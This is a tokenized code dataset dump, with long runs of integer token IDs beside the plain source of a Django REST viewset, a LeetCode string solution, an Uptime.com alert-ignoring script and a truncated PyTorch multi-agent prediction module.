3816,
29906,
29962,
13,
4706,
5174,
313,
1917,
2392,
29892,
11374,
2392,
1125,
13,
9651,
1583,
3032,
21707,
29889,
11739,
877,
2525,
519,
304,
6088,
2933,
584,
29995,
29879,
742,
3573,
29897,
13,
9651,
12020,
21403,
1469,
13,
4706,
396,
12440,
1230,
1158,
13,
4706,
396,
1583,
29889,
7971,
29918,
333,
353,
337,
29889,
4478,
877,
29908,
4197,
29905,
29893,
29899,
3199,
29896,
29900,
29900,
29892,
1800,
29908,
742,
2933,
29889,
726,
29892,
337,
29889,
29903,
467,
2972,
29898,
29896,
29897,
13,
13,
1678,
822,
903,
7892,
29918,
5630,
29898,
1311,
1125,
13,
4706,
3142,
353,
22372,
7507,
29918,
2271,
6822,
29918,
29914,
4530,
262,
29914,
2536,
29914,
305,
11768,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29897,
13,
4706,
396,
7561,
29877,
29901,
306,
2289,
1016,
29915,
29873,
1073,
920,
304,
1207,
445,
380,
18245,
631,
13,
4706,
12428,
353,
525,
3366,
29912,
7971,
29918,
333,
17671,
4304,
29892,
4304,
29892,
4304,
17094,
29896,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
3366,
29912,
5630,
29913,
3108,
5262,
12764,
13,
9651,
869,
4830,
29898,
7971,
29918,
333,
29922,
1311,
29889,
7971,
29918,
333,
29892,
4800,
29922,
1311,
29889,
5630,
29897,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
2490,
29898,
2271,
29892,
848,
3790,
29915,
29888,
29889,
7971,
2396,
12428,
1118,
11539,
29922,
1333,
21681,
29897,
13,
4706,
3573,
353,
2933,
29889,
726,
29889,
6506,
29898,
1525,
7390,
11538,
29918,
29925,
1299,
4945,
29940,
29892,
27255,
13,
4706,
565,
2672,
26707,
29918,
25711,
17013,
29918,
4986,
29968,
1430,
297,
3573,
29901,
13,
9651,
12020,
21403,
28037,
29898,
2587,
29897,
13,
4706,
25342,
7495,
29949,
29918,
27616,
29979,
29918,
1299,
4330,
3580,
9375,
297,
3573,
29901,
29871,
396,
7561,
29877,
29901,
2767,
7495,
29949,
29918,
27616,
29979,
29918,
1299,
4330,
3580,
9375,
4868,
29973,
13,
9651,
12020,
1763,
29877,
14804,
17776,
16746,
4165,
3456,
29879,
29898,
2587,
29897,
13,
4706,
25342,
323,
29956,
29949,
29918,
1254,
15488,
29918,
5348,
6545,
28541,
297,
3573,
29901,
13,
9651,
1583,
3032,
8411,
29918,
14032,
415,
29898,
2587,
29897,
13,
13,
1678,
822,
903,
8411,
29918,
14032,
415,
29898,
1311,
29892,
3573,
1125,
13,
4706,
396,
6780,
798,
287,
411,
7248,
21733,
515,
2045,
597,
5559,
29889,
601,
29914,
29894,
29916,
29884,
29896,
29909,
13,
4706,
1018,
29901,
13,
9651,
848,
353,
4390,
29889,
18132,
29898,
2587,
29897,
13,
9651,
396,
7561,
29877,
29901,
306,
2289,
1016,
29915,
29873,
1073,
920,
304,
1207,
445,
380,
18245,
631,
13,
9651,
848,
29918,
1989,
353,
848,
29961,
29900,
3816,
29896,
29900,
3816,
29900,
3816,
29900,
3816,
29906,
29941,
22322,
29945,
29900,
29900,
29946,
2033,
29961,
29896,
29906,
29962,
13,
9651,
848,
29918,
7508,
29918,
333,
353,
848,
29961,
29900,
3816,
29896,
29900,
3816,
29900,
3816,
29900,
3816,
29906,
29941,
22322,
29945,
29900,
29900,
29946,
2033,
29961,
29896,
29962,
13,
9651,
848,
29918,
15206,
353,
848,
29961,
29896,
3816,
29906,
29962,
13,
4706,
5174,
313,
6708,
2392,
29892,
11374,
2392,
29892,
7670,
2392,
1125,
13,
9651,
2643,
353,
525,
29965,
13996,
6021,
2933,
4520,
584,
8875,
4286,
4830,
29898,
2587,
29897,
13,
9651,
12020,
10016,
29916,
6021,
29906,
4519,
5103,
29898,
4906,
29897,
13,
4706,
7272,
29918,
2271,
353,
6702,
991,
597,
3051,
29889,
15947,
29889,
510,
29914,
29883,
4641,
5150,
29914,
29894,
29896,
22208,
13,
462,
268,
525,
5150,
2256,
29914,
10011,
986,
29916,
29973,
1997,
29922,
3126,
29987,
1989,
3790,
29913,
2824,
4830,
29898,
1272,
29918,
1989,
29897,
13,
4706,
7272,
29918,
2587,
353,
11117,
7508,
1204,
2396,
848,
29918,
7508,
29918,
333,
29913,
13,
13,
4706,
1596,
703,
6585,
278,
5087,
2401,
29892,
322,
18751,
525,
8241,
29915,
373,
278,
9508,
304,
1804,
297,
2023,
1159,
13,
13,
4706,
1583,
3032,
7924,
29889,
13662,
1839,
1123,
571,
261,
2033,
353,
22372,
7507,
29918,
2271,
6822,
4530,
262,
29914,
29894,
29906,
29914,
305,
11768,
29914,
834,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29897,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
2490,
29898,
20675,
29918,
2271,
29892,
4390,
29922,
20675,
29918,
2587,
29892,
11539,
29922,
1333,
21681,
29897,
13,
4706,
848,
353,
4390,
29889,
18132,
29898,
5327,
29889,
726,
29897,
13,
13,
4706,
3142,
353,
22372,
7507,
29918,
2271,
6822,
29918,
29914,
4530,
262,
29914,
305,
11768,
29973,
14632,
3790,
15206,
29913,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29892,
260,
29880,
29922,
1272,
29918,
15206,
29897,
13,
4706,
12428,
353,
525,
3366,
29912,
7971,
29918,
333,
17671,
4304,
29892,
29945,
29892,
4304,
17094,
29946,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
4304,
29892,
3366,
29912,
7508,
29918,
6979,
17671,
29896,
29892,
3009,
5262,
29962,
29915,
320,
13,
9651,
869,
4830,
29898,
7971,
29918,
333,
29922,
1311,
29889,
7971,
29918,
333,
29892,
25568,
29918,
6979,
29922,
1272,
1839,
7508,
6066,
11287,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
2490,
29898,
2271,
29892,
848,
3790,
29915,
29888,
29889,
7971,
2396,
12428,
1118,
11539,
29922,
1333,
21681,
29897,
13,
4706,
2933,
29889,
22692,
29918,
1454,
29918,
4882,
580,
13,
4706,
736,
2933,
13,
13,
1678,
822,
1480,
449,
29898,
1311,
1125,
13,
4706,
9995,
3403,
29879,
278,
4867,
714,
29892,
8340,
1218,
278,
21046,
13,
13,
4706,
16969,
29901,
13,
9651,
5852,
373,
2551,
29892,
7700,
6467,
13,
13,
4706,
9995,
13,
4706,
3142,
353,
22372,
7507,
29918,
2271,
6822,
3403,
449,
4286,
4830,
29898,
7507,
29918,
2271,
29922,
1311,
3032,
7507,
29918,
2271,
29897,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
657,
29898,
2271,
29897,
13,
4706,
736,
2933,
29889,
554,
13,
13,
13,
1990,
17278,
347,
2577,
357,
29898,
6444,
4173,
1061,
1125,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
517,
29877,
29899,
29888,
809,
29899,
3597,
29899,
23515,
13,
1678,
9995,
2061,
304,
16254,
3598,
679,
278,
21046,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4876,
29892,
4800,
29892,
21046,
29918,
1445,
2433,
27218,
630,
29889,
15108,
583,
29374,
13,
4706,
2428,
29898,
24914,
2577,
357,
29892,
1583,
467,
1649,
2344,
12035,
5269,
29892,
13,
462,
462,
965,
4800,
29892,
13,
462,
462,
965,
21046,
29918,
1445,
29922,
15108,
583,
29918,
1445,
29897,
13,
13,
13,
1990,
6692,
29898,
6444,
4173,
1061,
1125,
13,
1678,
9995,
2744,
1203,
1904,
292,
278,
2669,
304,
10563,
14354,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4876,
29892,
4800,
29892,
21046,
29918,
1445,
29922,
8516,
1125,
13,
4706,
2428,
29898,
3170,
29892,
1583,
467,
1649,
2344,
12035,
5269,
29892,
13,
462,
462,
418,
4800,
29892,
13,
462,
462,
418,
21046,
29918,
1445,
29922,
15108,
583,
29918,
1445,
29897,
13,
13,
1678,
732,
29883,
3791,
29898,
19713,
29918,
29907,
2477,
9606,
29897,
13,
1678,
822,
903,
657,
29918,
1272,
29898,
1311,
1125,
13,
4706,
20092,
353,
11117,
5150,
1792,
2396,
29871,
29900,
29892,
13,
462,
259,
525,
4415,
2396,
525,
264,
742,
13,
462,
259,
525,
3820,
2396,
525,
375,
742,
13,
462,
259,
396,
10518,
8640,
278,
2472,
1048,
278,
15061,
310,
278,
2910,
322,
13,
462,
259,
396,
372,
338,
28190,
411,
278,
4423,
19383,
27108,
29889,
13,
462,
259,
396,
278,
2400,
5235,
3291,
304,
5386,
29915,
29879,
26463,
29889,
13,
462,
259,
525,
24381,
2396,
6702,
29991,
29896,
29885,
29955,
29991,
29947,
29885,
29953,
29991,
29896,
29885,
29941,
29991,
29896,
29875,
29896,
29946,
29991,
29906,
29875,
29947,
29946,
29896,
29941,
29991,
29941,
29875,
29945,
29941,
29947,
29945,
29991,
29906,
29875,
29953,
29991,
29941,
29916,
29946,
29900,
29929,
29945,
29915,
13,
462,
3986,
525,
29991,
29906,
29885,
29941,
29991,
29896,
29872,
29900,
29991,
29906,
3844,
29991,
29941,
29875,
29946,
29900,
29955,
29896,
29900,
29945,
29896,
29953,
29929,
29991,
29941,
29885,
29955,
29991,
29906,
4881,
29991,
29945,
29872,
29896,
29896,
29900,
29945,
29991,
29896,
29906,
29885,
29946,
29915,
13,
462,
3986,
525,
29991,
29896,
29872,
29953,
29947,
29991,
29906,
29885,
29906,
29991,
29896,
29879,
842,
29991,
29906,
29879,
9588,
328,
1958,
29991,
29946,
29872,
29896,
29991,
29945,
29885,
29946,
29991,
29896,
29872,
29946,
29991,
29947,
29885,
29906,
29991,
29896,
29872,
29900,
20714,
13,
462,
3986,
525,
29896,
29872,
29896,
29991,
29953,
29885,
29929,
29991,
29896,
29872,
29896,
29906,
29991,
29906,
29875,
29906,
29991,
29906,
29953,
29885,
29896,
29991,
29946,
29890,
29896,
29991,
29941,
29900,
29885,
29896,
20714,
13,
462,
3986,
525,
29896,
29888,
29896,
29889,
29941,
29929,
29945,
29941,
29946,
29947,
29955,
29947,
29955,
29941,
29900,
29955,
29955,
29941,
29929,
29941,
29991,
29941,
29929,
29890,
29896,
29991,
29946,
29946,
29872,
29896,
29991,
29945,
29900,
29872,
29900,
29991,
29906,
29941,
29875,
29946,
29896,
29896,
29896,
29946,
29906,
29945,
1495,
29913,
13,
4706,
3142,
353,
525,
991,
597,
1636,
29889,
3608,
29889,
510,
29914,
10339,
29914,
25347,
29914,
2029,
800,
29882,
4362,
29914,
949,
29915,
13,
4706,
2933,
353,
1583,
3032,
7924,
29889,
657,
29898,
2271,
29892,
8636,
29922,
23813,
29892,
11539,
29922,
1333,
21681,
29897,
13,
4706,
1583,
3032,
21707,
29889,
8382,
29898,
5327,
29889,
726,
29897,
13,
4706,
565,
2933,
29889,
554,
29901,
13,
9651,
1018,
29901,
13,
18884,
848,
353,
4390,
29889,
18132,
29898,
5327,
29889,
726,
29889,
5451,
703,
29915,
613,
29871,
29896,
9601,
29896,
2314,
13,
9651,
5174,
313,
1917,
2392,
29892,
11374,
2392,
29892,
20948,
1125,
13,
18884,
1583,
3032,
21707,
29889,
11739,
877,
2525,
519,
304,
6088,
2933,
584,
29995,
29879,
742,
13,
462,
462,
539,
2933,
29889,
726,
29897,
13,
18884,
848,
353,
6024,
2033,
13,
4706,
1683,
29901,
13,
9651,
1583,
3032,
21707,
29889,
27392,
877,
29816,
2933,
775,
16664,
29879,
742,
2933,
29889,
4882,
29918,
401,
29897,
13,
9651,
848,
353,
6024,
2033,
13,
4706,
736,
848,
13,
13,
1678,
822,
679,
29918,
12366,
29918,
25719,
29898,
1311,
1125,
13,
4706,
9995,
8015,
2546,
1960,
599,
2305,
393,
6232,
1009,
4423,
411,
445,
3633,
15945,
29908,
13,
4706,
2305,
353,
5159,
13,
4706,
1962,
353,
1583,
3032,
657,
29918,
1272,
580,
13,
4706,
363,
5235,
297,
1962,
29961,
29900,
5387,
13,
9651,
1018,
29901,
13,
18884,
2305,
29889,
4397,
29898,
7435,
29898,
3888,
876,
13,
9651,
5174,
21403,
1469,
29901,
13,
18884,
1583,
3032,
21707,
29889,
8382,
877,
18552,
292,
4423,
470,
916,
5235,
29892,
4441,
3262,
2022,
411,
5235,
29901,
1273,
29879,
742,
5235,
29897,
13,
4706,
736,
2305,
13,
13,
1678,
822,
679,
29918,
27218,
630,
29918,
10532,
29898,
1311,
1125,
13,
4706,
9995,
8015,
2546,
1960,
278,
2022,
6942,
411,
445,
3633,
15945,
29908,
13,
4706,
1018,
29901,
13,
9651,
1962,
353,
1583,
3032,
657,
29918,
1272,
580,
13,
9651,
2022,
353,
5196,
4197,
13,
18884,
1583,
29889,
5269,
29892,
13,
18884,
1962,
29961,
29929,
3816,
29896,
1402,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
518,
13,
462,
1678,
6213,
29892,
13,
462,
1678,
6213,
29892,
13,
462,
1678,
1583,
29889,
5269,
29892,
13,
462,
1678,
1583,
29889,
5269,
13,
18884,
21251,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
18884,
6213,
29892,
13,
632,
2314,
13,
4706,
5174,
313,
3220,
2392,
29892,
20948,
29892,
21403,
1469,
1125,
13,
9651,
1583,
3032,
21707,
29889,
8382,
877,
18552,
292,
18853,
5235,
29892,
2609,
25112,
15585,
630,
2022,
1495,
13,
9651,
736,
6213,
13,
4706,
736,
2022,
13,
13,
1678,
822,
679,
29918,
497,
29918,
25719,
29898,
1311,
1125,
13,
4706,
9995,
8015,
2546,
1960,
599,
2305,
19383,
1009,
4423,
15945,
29908,
13,
4706,
2305,
353,
1583,
29889,
657,
29918,
12366,
29918,
25719,
580,
718,
518,
1311,
29889,
657,
29918,
27218,
630,
29918,
10532,
580,
29962,
13,
4706,
736,
4175,
29898,
8516,
29892,
2305,
29897,
13,
13,
1678,
822,
679,
29918,
10532,
29918,
1609,
29918,
19254,
978,
29898,
1311,
29892,
25985,
978,
1125,
13,
4706,
9995,
8015,
2546,
1960,
263,
2022,
491,
25985,
978,
15945,
29908,
13,
4706,
736,
2446,
3552,
10532,
363,
2022,
297,
1583,
29889,
657,
29918,
497,
29918,
25719,
580,
13,
462,
268,
565,
2022,
29889,
19254,
978,
29889,
13609,
580,
1275,
25985,
978,
29889,
13609,
25739,
6213,
29897,
13,
13,
1678,
822,
679,
29918,
10532,
29918,
1609,
29918,
8159,
29918,
978,
29898,
1311,
29892,
1024,
1125,
13,
4706,
9995,
8015,
2546,
1960,
263,
2022,
491,
2989,
1024,
15945,
29908,
13,
4706,
736,
2446,
3552,
10532,
363,
2022,
297,
1583,
29889,
657,
29918,
497,
29918,
25719,
580,
13,
462,
268,
565,
2022,
29889,
8159,
29918,
978,
29889,
13609,
580,
1275,
1024,
29889,
13609,
25739,
6213,
29897,
13,
13,
1678,
822,
679,
29918,
1111,
24266,
29918,
1609,
29918,
19254,
978,
29898,
1311,
29892,
25985,
978,
1125,
13,
4706,
9995,
8015,
2546,
1960,
263,
2022,
29915,
29879,
10350,
491,
25985,
978,
15945,
29908,
13,
4706,
2022,
353,
1583,
29889,
657,
29918,
10532,
29918,
1609,
29918,
19254,
978,
29898,
19254,
978,
29897,
13,
4706,
565,
451,
2022,
29901,
13,
9651,
736,
15516,
6629,
13,
4706,
736,
2022,
29889,
5066,
4279,
29892,
2022,
29889,
5426,
4279,
13,
13,
1678,
822,
679,
29918,
1111,
24266,
29918,
1609,
29918,
8159,
29918,
978,
29898,
1311,
29892,
1024,
1125,
13,
4706,
9995,
8015,
2546,
1960,
263,
2022,
29915,
29879,
10350,
491,
2989,
1024,
15945,
29908,
13,
4706,
2022,
353,
1583,
29889,
657,
29918,
10532,
29918,
1609,
29918,
8159,
29918,
978,
29898,
978,
29897,
13,
4706,
565,
451,
2022,
29901,
13,
9651,
736,
15516,
6629,
13,
4706,
736,
2022,
29889,
5066,
4279,
29892,
2022,
29889,
5426,
4279,
13,
2
] |
events/handler/views.py | totaki/learn-python-pnz-00 | 0 | 97230 | from rest_framework import viewsets
from handler.serializers import EventsSerializer, PlaceSerializer
from handler.models import Event, Place
class EventViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows users to be viewed or edited.
"""
queryset = Event.objects.all()
serializer_class = EventsSerializer
class PlaceViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows groups to be viewed or edited.
"""
queryset = Place.objects.all()
serializer_class = PlaceSerializer
| [
1,
515,
1791,
29918,
4468,
1053,
1776,
7224,
13,
3166,
7834,
29889,
15550,
19427,
1053,
28488,
17679,
29892,
15484,
17679,
13,
3166,
7834,
29889,
9794,
1053,
6864,
29892,
15484,
13,
13,
13,
1990,
6864,
1043,
2697,
29898,
1493,
7224,
29889,
3195,
1043,
2697,
1125,
13,
1678,
9995,
13,
1678,
3450,
16248,
393,
6511,
4160,
304,
367,
24774,
470,
8788,
29889,
13,
1678,
9995,
13,
1678,
2346,
842,
353,
6864,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
28488,
17679,
13,
13,
13,
1990,
15484,
1043,
2697,
29898,
1493,
7224,
29889,
3195,
1043,
2697,
1125,
13,
1678,
9995,
13,
1678,
3450,
16248,
393,
6511,
6471,
304,
367,
24774,
470,
8788,
29889,
13,
1678,
9995,
13,
1678,
2346,
842,
353,
15484,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
15484,
17679,
13,
13,
13,
13,
13,
13,
2
] |
58/main.py | pauvrepetit/leetcode | 0 | 63515 | <filename>58/main.py
class Solution:
def lengthOfLastWord(self, s: str) -> int:
s = s.strip()
wordList = s.split(' ')
try:
lastWord = wordList[-1]
return len(lastWord)
except IndexError:
return 0
sol = Solution()
print(sol.lengthOfLastWord("hello world"))
| [
1,
529,
9507,
29958,
29945,
29947,
29914,
3396,
29889,
2272,
13,
1990,
24380,
29901,
13,
1678,
822,
3309,
2776,
8897,
14463,
29898,
1311,
29892,
269,
29901,
851,
29897,
1599,
938,
29901,
13,
4706,
269,
353,
269,
29889,
17010,
580,
13,
4706,
1734,
1293,
353,
269,
29889,
5451,
877,
25710,
13,
4706,
1018,
29901,
13,
9651,
1833,
14463,
353,
1734,
1293,
14352,
29896,
29962,
13,
9651,
736,
7431,
29898,
4230,
14463,
29897,
13,
4706,
5174,
11374,
2392,
29901,
13,
9651,
736,
29871,
29900,
13,
13,
2929,
353,
24380,
580,
13,
2158,
29898,
2929,
29889,
2848,
2776,
8897,
14463,
703,
12199,
3186,
5783,
13,
2
] |
python/bulk_ignore_alerts.py | uptime-com/rest-api-examples | 0 | 1608463 | #!/usr/bin/env python3
import argparse
import datetime as dt
import time
import requests
def date(d):
return dt.datetime.strptime(d, '%Y-%m-%d').date()
def parse_args():
parser = argparse.ArgumentParser(description='Ignore alerts between date ranges for '
'one or more checks.')
parser.add_argument('--token', required=True,
help='Your Uptime.com API Token')
parser.add_argument('--api', default='https://uptime.com/api/v1/',
help='(optional) The Uptime.com API endpoint to use, eg. '
'https://uptime.com/api/v1/')
parser.add_argument('--from', required=True, type=date,
help='The earliest date to ignore alerts from, in YYYY-MM-DD format.')
parser.add_argument('--to', required=True, type=date,
help='The latest date to ignore alerts from, in YYYY-MM-DD format.')
parser.add_argument('--prefix', required=True,
help='The check name or check name prefix to ignore alerts for.')
parser.add_argument('--subaccount', type=int,
help='(optional) A subaccount to process instead of the main account.')
return parser.parse_args()
opts = parse_args()
headers = {'Authorization': 'token ' + opts.token}
if opts.subaccount:
headers['X-Subaccount'] = str(opts.subaccount)
def ignore_alert(outage):
"""
Call the API to ignore the alert for this outage.
"""
print('Ignoring: {} @ {}'.format(outage['check_name'], outage['created_at']))
r = requests.post(outage['ignore_alert_url'], headers=headers)
r.raise_for_status()
# Delay to keep within rate limits
time.sleep(2.2)
page = 0
while True:
# Read through each page of outages between the given dates
page += 1
r = requests.get(opts.api + 'outages/',
headers=headers,
params={
'start_date': str(getattr(opts, 'from')),
'end_date': str(opts.to),
'page_size': 250,
'page': page,
})
r.raise_for_status()
outages = r.json()['results']
if not outages:
break
# For each outage matching the check name prefix, ignore the outage
for outage in outages:
if outage['check_name'].startswith(opts.prefix) and not outage['ignored']:
ignore_alert(outage)
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
5215,
1852,
5510,
13,
5215,
12865,
408,
11636,
13,
5215,
931,
13,
13,
5215,
7274,
13,
13,
13,
1753,
2635,
29898,
29881,
1125,
13,
1678,
736,
11636,
29889,
12673,
29889,
710,
415,
603,
29898,
29881,
29892,
14210,
29979,
19222,
29885,
19222,
29881,
2824,
1256,
580,
13,
13,
13,
1753,
6088,
29918,
5085,
7295,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
23805,
6655,
29879,
1546,
2635,
20238,
363,
525,
13,
462,
462,
462,
525,
650,
470,
901,
12747,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
6979,
742,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
10858,
501,
415,
603,
29889,
510,
3450,
25159,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
2754,
742,
2322,
2433,
991,
597,
21245,
603,
29889,
510,
29914,
2754,
29914,
29894,
29896,
29914,
742,
13,
462,
4706,
1371,
2433,
29898,
25253,
29897,
450,
501,
415,
603,
29889,
510,
3450,
16248,
304,
671,
29892,
8087,
29889,
525,
13,
462,
632,
525,
991,
597,
21245,
603,
29889,
510,
29914,
2754,
29914,
29894,
29896,
29914,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
3166,
742,
3734,
29922,
5574,
29892,
1134,
29922,
1256,
29892,
13,
462,
4706,
1371,
2433,
1576,
24577,
2635,
304,
11455,
6655,
29879,
515,
29892,
297,
612,
14995,
29979,
29899,
7428,
29899,
7858,
3402,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
517,
742,
3734,
29922,
5574,
29892,
1134,
29922,
1256,
29892,
13,
462,
4706,
1371,
2433,
1576,
9281,
2635,
304,
11455,
6655,
29879,
515,
29892,
297,
612,
14995,
29979,
29899,
7428,
29899,
7858,
3402,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
13506,
742,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
1576,
1423,
1024,
470,
1423,
1024,
10944,
304,
11455,
6655,
29879,
363,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1491,
10149,
742,
1134,
29922,
524,
29892,
13,
462,
4706,
1371,
2433,
29898,
25253,
29897,
319,
1014,
10149,
304,
1889,
2012,
310,
278,
1667,
3633,
29889,
1495,
13,
13,
1678,
736,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
13,
25707,
353,
6088,
29918,
5085,
580,
13,
13662,
353,
11117,
25471,
2396,
525,
6979,
525,
718,
29111,
29889,
6979,
29913,
13,
361,
29111,
29889,
1491,
10149,
29901,
13,
1678,
9066,
1839,
29990,
29899,
4035,
10149,
2033,
353,
851,
29898,
25707,
29889,
1491,
10149,
29897,
13,
13,
13,
1753,
11455,
29918,
12888,
29898,
449,
482,
1125,
13,
1678,
9995,
13,
1678,
8251,
278,
3450,
304,
11455,
278,
6655,
363,
445,
714,
482,
29889,
13,
1678,
9995,
13,
1678,
1596,
877,
17273,
8253,
29901,
6571,
732,
6571,
4286,
4830,
29898,
449,
482,
1839,
3198,
29918,
978,
7464,
714,
482,
1839,
11600,
29918,
271,
25901,
13,
1678,
364,
353,
7274,
29889,
2490,
29898,
449,
482,
1839,
17281,
29918,
12888,
29918,
2271,
7464,
9066,
29922,
13662,
29897,
13,
1678,
364,
29889,
22692,
29918,
1454,
29918,
4882,
580,
13,
13,
1678,
396,
5556,
388,
304,
3013,
2629,
6554,
13071,
13,
1678,
931,
29889,
17059,
29898,
29906,
29889,
29906,
29897,
13,
13,
13,
3488,
353,
29871,
29900,
13,
8000,
5852,
29901,
13,
1678,
396,
7523,
1549,
1269,
1813,
310,
714,
1179,
1546,
278,
2183,
10116,
13,
1678,
1813,
4619,
29871,
29896,
13,
1678,
364,
353,
7274,
29889,
657,
29898,
25707,
29889,
2754,
718,
525,
449,
1179,
29914,
742,
13,
462,
1678,
9066,
29922,
13662,
29892,
13,
462,
1678,
8636,
3790,
13,
462,
4706,
525,
2962,
29918,
1256,
2396,
851,
29898,
657,
5552,
29898,
25707,
29892,
525,
3166,
1495,
511,
13,
462,
4706,
525,
355,
29918,
1256,
2396,
851,
29898,
25707,
29889,
517,
511,
13,
462,
4706,
525,
3488,
29918,
2311,
2396,
29871,
29906,
29945,
29900,
29892,
13,
462,
4706,
525,
3488,
2396,
1813,
29892,
13,
462,
1678,
5615,
13,
13,
1678,
364,
29889,
22692,
29918,
1454,
29918,
4882,
580,
13,
1678,
714,
1179,
353,
364,
29889,
3126,
580,
1839,
9902,
2033,
13,
1678,
565,
451,
714,
1179,
29901,
13,
4706,
2867,
13,
13,
1678,
396,
1152,
1269,
714,
482,
9686,
278,
1423,
1024,
10944,
29892,
11455,
278,
714,
482,
13,
1678,
363,
714,
482,
297,
714,
1179,
29901,
13,
4706,
565,
714,
482,
1839,
3198,
29918,
978,
13359,
27382,
2541,
29898,
25707,
29889,
13506,
29897,
322,
451,
714,
482,
1839,
647,
4395,
2033,
29901,
13,
9651,
11455,
29918,
12888,
29898,
449,
482,
29897,
13,
2
] |
MAModule/networks/predict.py | MrReochen/MultiAgentModule | 0 | 15996 | import torch
import torch.nn as nn
from ..networks.basic.util import check
from ..networks.basic.predict import PredictNet, PredictLayer, OutLayer
from ..utils.util import get_shape_from_obs_space
class OneHot:
def __init__(self, out_dim):
self.out_dim = out_dim
def transform(self, tensor):
y_onehot = tensor.new(*tensor.shape[:-1], self.out_dim).zero_()
y_onehot.scatter_(-1, tensor.long(), 1)
return y_onehot.float()
class Predict(nn.Module):
def __init__(self, args, obs_space, action_space, cent_obs_space, device=torch.device("cpu")):
super(Predict, self).__init__()
self.hidden_size = args.hidden_size
self._gain = args.gain
self._use_orthogonal = args.use_orthogonal
self.tpdv = dict(dtype=torch.float32, device=device)
obs_shape = get_shape_from_obs_space(obs_space)
cent_obs_shape = get_shape_from_obs_space(cent_obs_space)
self.net = PredictNet(args, obs_shape, action_space, cent_obs_shape, use_projector=True)
self.onehot = OneHot(action_space.n)
self.to(device)
def forward(self, obs, actions):
obs = check(obs).to(**self.tpdv)
actions = self.onehot.transform(check(actions)).to(**self.tpdv)
x = torch.cat((obs, actions), dim=-1)
out = self.net(x)
return out
class Projector(nn.Module):
def __init__(self, args, cent_obs_space, device=torch.device("cpu")):
super(Projector, self).__init__()
self.args = args
self.hidden_size = args.hidden_size
self._gain = args.gain
self._use_orthogonal = args.use_orthogonal
self.tpdv = dict(dtype=torch.float32, device=device)
cent_obs_shape = get_shape_from_obs_space(cent_obs_space)
if args.predict_dim:
self.mlp = PredictLayer(cent_obs_shape[0], args.predict_dim,
1, self._use_orthogonal, False)
# self.out = OutLayer(cent_obs_shape[0] // 4, self.hidden_size, self._use_orthogonal, False)
self.to(device)
def forward(self, cent_obs):
x = check(cent_obs).to(**self.tpdv)
if self.args.predict_dim:
out = self.mlp(x)
# out = self.out(out)
else:
out = x
return out | [
1,
1053,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
3166,
6317,
11618,
29879,
29889,
16121,
29889,
4422,
1053,
1423,
13,
3166,
6317,
11618,
29879,
29889,
16121,
29889,
27711,
1053,
21099,
919,
6779,
29892,
21099,
919,
14420,
29892,
4451,
14420,
13,
3166,
6317,
13239,
29889,
4422,
1053,
679,
29918,
12181,
29918,
3166,
29918,
26290,
29918,
3493,
13,
13,
1990,
3118,
28917,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
714,
29918,
6229,
1125,
13,
4706,
1583,
29889,
449,
29918,
6229,
353,
714,
29918,
6229,
13,
13,
1678,
822,
4327,
29898,
1311,
29892,
12489,
1125,
13,
4706,
343,
29918,
650,
8711,
353,
12489,
29889,
1482,
10456,
20158,
29889,
12181,
7503,
29899,
29896,
1402,
1583,
29889,
449,
29918,
6229,
467,
9171,
29918,
580,
13,
4706,
343,
29918,
650,
8711,
29889,
1557,
2620,
29918,
6278,
29896,
29892,
12489,
29889,
5426,
3285,
29871,
29896,
29897,
13,
4706,
736,
343,
29918,
650,
8711,
29889,
7411,
580,
13,
13,
1990,
21099,
919,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6389,
29892,
20881,
29918,
3493,
29892,
3158,
29918,
3493,
29892,
1644,
29918,
26290,
29918,
3493,
29892,
4742,
29922,
7345,
305,
29889,
10141,
703,
21970,
5783,
29901,
13,
4706,
2428,
29898,
23084,
919,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
10892,
29918,
2311,
353,
6389,
29889,
10892,
29918,
2311,
13,
4706,
1583,
3032,
29887,
475,
353,
6389,
29889,
29887,
475,
13,
4706,
1583,
3032,
1509,
29918,
2072,
23419,
353,
6389,
29889,
1509,
29918,
2072,
23419,
13,
4706,
1583,
29889,
9392,
